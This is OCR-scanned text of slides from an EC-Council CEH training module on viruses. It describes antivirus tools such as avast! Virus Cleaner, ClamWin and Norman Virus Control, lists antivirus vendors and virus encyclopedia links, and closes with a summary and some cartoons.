computer

It deactivates the virus present in memory

It identifies and removes the following worm
families:

« MyDoom and Beagle/Bagle
e Badtrans

» BugBear

 Nimda

» Opas

e Sircam

e Sobig
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C EH avast! Virus Cleaner: Screenshot
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Evast! e |

Cleaner

Mote: This program is just a remover for a limited number of viruses.
For regular protection, use a full-featured antivirus {e.qg. avast! 4 Home /Pro).

avast! Yirus Cleaner Tool - version 1.0.203 Unicode

ALWIL Software Home Page About. ., E xit
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C EH ClamWin
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ClamWin detects and removes a wide range of viruses and spyware and
offers email scanning

It performs automatic Internet updates, scheduled scans, and email
alerts on virus detection
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C EH ClamWIin: Screenshot 1
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Q'E ClamWin Free Antivirus

File Tools Help

PR

Select a folder ar a file to zcan
[Hold Shift ke to zelect multiple files ar folders)

=10} =|

i
=1 [ )
=3 (D]
& [E)

Scan

Cloze
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c EH ClamWIin: Screenshot 2
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48 ClamWin Preferences ] x|

Emaill &lerts l Archives ] File Locations ] Reports ] Advanced ]
Leneral l Filters ] Internet Updates ] Prosy ] Scheduled Scans 1

— Scanning Dptions -

| Display Infected Files Only

Infected Files
{* Feport Only
" Bemove [Use Carefully]

(" Move Tao Quarantine Falder:

] Cancel
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c EH ClamWIin: Screenshot 3
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48 ClamWin Preferences ] x|

Email Alerts ] Archives ] File Locationz ] Reports l Advanced ]
General l Filters ] Internet Updates ] Prosy ] Scheduled Scans 1

— Scanning Ophiong -

| Dizplay Infected Files Only

Infected Files
{* Report Only
" Bemove [Use Carefully]

(" Move To Quarantine Faolder;

] Cancel

) Copyright © by EC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Prohibited




C EH ClamWin: Screenshot 4
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¥ ClamWin Scan Status A

Scan ztarted: \Wed Moy 2 23:16:18 2005

A

- gUMMMAary --
kF.niown siruzes; 40929
Engine wersion: 0.87

Scanned directories: 97
Scanned files; 593
Infected fles: O

D ata zcanned: 6.52 MB
Time: 62842 sec [1 m 2 5]
Completed

Save Report

Cloze
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C E H Norman Virus Control
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Uses the same core components as the corporate version, except network and
network management functionality

The unique Norman SandBox Il technology protects against new and unknown
computer viruses, worms, and trojans

Downloads from newsgroups can be scanned for malware before they are made
available to the user

Features of Norman Virus Control:

Email scanning for malicious programs

Real-time scanning of files

Norman SandBox technology to include detection of unknown viruses,
trojans, and worms

Automatic Internet update
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dl: H Norman Virus Control:
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| |= N¥C configuration - [nvecf]

Install | Start | Update mode | Intemet | LANAWEN | Autheniication |

7 : =TT To add a companerd, select the check box
i) | 2] s ’
I el Taoemove a component, clear the check bos.
Comporents:

bl Or-demand scanner
[ Oy acoess scarmer
Ciommon sltings Comeand line scanner
Tazk schedulet

E [+ T ask edilos

Orrdemand scannes

Orraccess scannel
[interaclive]

Oreaccess scanner
[non iteractive)

- |
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C EH ropular Anti-Virus Packages
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Aladdin Knowledge Systems http://www.esafe.com/

Central Command, Inc. http://www.centralcommand.com/

Computer Associates International, Inc. http://www.cai.com

Frisk Software International http://www.f-prot.com/

Trend Micro, Inc. http://www.trendmicro.com

Norman Data Defense Systems http://www.norman.com

Panda Software http://www.pandasoftware.com/

Proland Software http://www.pspl.com

Sophos http://www.sophos.com

) Copyright © by EC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Prohibited




c EH Virus Databases
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The following databases can be useful if you are looking for specific

information about a particular virus:

Proland - Virus Encylopedia
http://www.pspl.com/virus info/

Norman - Virus Encylopedia
http://www.norman.com/Virus/en-us

AVG - Virus Encyclopedia
http://www.grisoft.com/doc/Virus+Encyclopaedia/lng/us/tpl/tplO1
Virus Bulletin - Virus Encyclopedia
https://www.virusbtn.com/login

F-Secure Virus Info Center
http://www.f-secure.com/vir-info/

McAfee - Virus Information Library
http://vil.mcafee.com/

Panda Software - Virus Encyclopedia
http://www.pandasoftware.com/library/
Sophos Virus Information
http://www.sophos.com/virusinfo/

Symantec AntiVirus Research Center
http://www.symantec.com/avcenter/index.html
Trend Micro - Virus Encyclopedia
http://www.antivirus.com/vinfo/virusencyclo/default.asp

) Copyright © by EC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Prohibited




C EH Snopes.com
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nopeS.cum

Rumaor Has It

Home --> Computers --> Virus Hoaxes & Realities -- > Postcard Ads b

Virus: You've Received a Postcard from a Family Member!

Status: Realvirus. The
The
Examples: LD:.D:
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C E H What Happened Next
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Next day when he switched on his system, Ricky was
surprised at the irregular behavior of his system. His
system was hanging down frequently and strange error
messages were popping up. He suspected virus attack on
his system. He updated his anti-virus software which he
has not updated since long and scanned the system.

Scan result showed that his system was infected by a
deadly virus.
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C EH Summary
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Viruses come in different forms

Some are mere nuisances, others come with devastating consequences

Email worms are self replicating, and clog networks with unwanted traffic

Virus codes are not necessarily complex

It is necessary to scan the systems/networks for infections on a periodic basis for
protection against viruses

Antidotes to new virus releases are promptly made available by security companies,
and this forms the major countermeasure
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Copyright 2003 by Randy Glasbergen. www.glasbergen.com

“I get to the office around 8:45, pour myself a cup
of coffee, turn on my computer, delete all the
spam, and then it’s time to go home.”
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Copyright 2005 by Randy Glasbergen.
www.glasbergen.com
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e

GLASBERGEN

“I've installed a comprehensive program that will protect
our computer against viruses, trojan horses, worms,
cooties, hissy fits, conniptions, and the heebie-jeebies.”
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Copyright 2003 by Randy Glasbergen.
www.glasbergen.com

"MOM SAYS | CAN ONLY USE THE COMPUTER THREE HOURS A DAY.
IT TAKES LONGER THAN THAT JUST TO DELETE MY SPAM!"
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@ 2000 Randy Glasbergen.
www.glasbergen.com
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“Oh, the usual stuff. Spam from the Joker,
another e-mail virus from the Penguin,
an illegal chain letter from Cat Woman....”
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